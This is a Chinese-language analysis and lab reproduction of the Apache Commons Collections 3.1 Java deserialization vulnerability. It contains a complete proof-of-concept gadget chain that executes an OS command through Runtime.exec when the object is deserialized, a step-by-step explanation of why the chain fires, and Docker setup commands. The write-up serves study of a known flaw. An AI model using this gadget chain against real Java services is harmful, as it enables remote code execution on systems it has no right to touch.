ApacheCommonsCollections反序列化漏洞分析与复现

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1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 漏洞分析

存在安全缺陷的版本&＃xff1a;Apache Commons Collections3.2.1以下&＃xff0c;【JDK版本&＃xff1a;1.7.0_80】Apache Maven 3.6.3。

POC核心代码&＃xff1a;

package com.patrilic.vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers &＃61; new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain &＃61; new ChainedTransformer(transformers);
// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap &＃61; new HashMap();innerMap.put("value", "value");Map outerMap &＃61; TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞
// Map.Entry onlyElement &＃61; (Map.Entry) outerMap.entrySet().iterator().next();
// onlyElement.setValue("foobar");Class clazz &＃61; Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons &＃61; clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins &＃61; cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp &＃61; new ByteArrayOutputStream();ObjectOutputStream oos &＃61; new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化&＃xff0c;验证ByteArrayInputStream out &＃61; new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois &＃61; new ObjectInputStream(out);Object obj &＃61; (Object) ois.readObject();// }
//}}
}

漏洞利用思路&＃xff1a;

Transformer接口-实现类-InvokerTransformer&＃xff08;&＃xff09;&＃xff0c;可调用任何函数。

为实现 Runtime.getRuntime().exec(cmd)&＃xff0c;要多次调用 transformer 并将当前返回结果作为下次输入信息。

为调用 Runtime.getRuntime()&＃xff0c;考虑 ConstantTransformer 类&＃xff0c;它可直接将输入的参数作为输出。

ChainedTransformer 作为实现类&＃xff0c;对于接收的Transformer 数组&＃xff0c;采用自身的transform方法&＃xff08;参数是用户输入的&＃xff09;逐次处理Transformer数组对象&＃xff0c;将其结果作为下次重复调用的输入参数。它的 transform&＃xff08;&＃xff09;方法即可出触发漏洞。

为寻找反序列化途径&＃xff0c;即读进来数据被反序列化执行&＃xff0c;则反向寻找可触发ChainedTransformer 对象 .transform() 方法的途径。

HashMap类可以键值对方式存储数据&＃xff0c;put(key&＃xff0c;value)方法可存储数据。

TransformedMap类的功能是存储键值对并将其转换为transform objects&＃xff0c;decorate&＃xff08;&＃xff09;方法可创建键值对组&＃xff0c;checkSetValue&＃xff08;&＃xff09;方法会触发this.valueTransformer.transform&＃xff08;&＃xff09;语句。依次反向寻找调用 checkSetValue&＃xff08;&＃xff09;【1】&＃xff0c;使 this.valueTransformer 为 ChainedTransformer 对象的途径【2】。

对于【2】&＃xff0c;TransformedMap 类的静态方法 decorate&＃xff08;&＃xff09;可达到目标。

对于【1】&＃xff0c;AbstractInputCheckedMapDecorator 类 MapEntry 静态类的setValue方法会执行this.parent.checkSetValue(value)&＃xff0c;则接下来应使this.parent为TransformedMap对象【3】。

对于【3】&＃xff0c;正向分析POC中此段代码&＃xff1a;

Map.Entry onlyElement &＃61; (Map.Entry)
outerMap.entrySet().iterator().next();


研究可知&＃xff0c;执行过程中多次在AbstractInputCheckedMapDecorator类中&＃xff0c;将TransformedMap对象赋值给this.parent&＃xff0c;返回Map.Entry对象&＃xff0c;正好可以执行setValue&＃xff08;&＃xff09;方法&＃xff0c;触发漏洞。

为提升通用性&＃xff0c;必须设法使得调用反序列化方法即触发漏洞&＃xff0c;因此&＃xff0c;考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue()&＃xff0c;同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。

Class.forName() 功能是加载类。

则再次分析&＃xff0c;对于【1】&＃xff0c;正向分析POC中核心代码&＃xff1a;

Class clazz &＃61; Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons &＃61; clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);Object ins &＃61; cons.newInstance(java.lang.annotation.Retention.class,outerMap);
……
Object obj &＃61; (Object) ois.readObject();

研究可知&＃xff0c;执行过程会执行 MapEntry 静态类的 setValue 方法&＃xff0c;且会执行entrySet 方法使得 this.parent&＃61;TransformedMap 对象&＃xff0c;从而触发漏洞。

总的来说&＃xff0c;正向的POC构造思路为&＃xff1a;先构造 ChainedTransformer 对象&＃xff0c;随后创建 Map 对象&＃xff0c;再采用 TransformedMap 类实例将 ChainedTransformer 对象保存至 Map 类对象中&＃xff0c;再通过反射方法获得经 Map 类对象初始化的AnnotationInvocationHandler 类实例&＃xff0c;对其进行序列化。

1.3 docker复现

下载制作的docker镜像&＃xff0c;用以下命令&＃xff1a;

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1


设置局域网及容器ip、启动容器&＃xff0c;例子&＃xff1a;

&＃xff08;1&＃xff09;自定义网络

docker network create --subnet&＃61;192.168.10.1/24 testnet


&＃xff08;2&＃xff09;启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash


在容器【Apache-Commons-Collections】中&＃xff0c;执行命令【java -jar commons-collections-3.1.jar】&＃xff0c;则生成文件【CommonsCollections3.1】&＃xff0c;如下图。

1.7 参考资料

• https://www.freebuf.com/vuls/251664.html

• https://patrilic.top/2020/03/19/commons-collections-3.1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#0x00-Build

• https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/

• https://zhuanlan.zhihu.com/p/62496468

• https://blog.csdn.net/chengly0129/article/details/70215018

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题图&＃xff1a;Pixabay License

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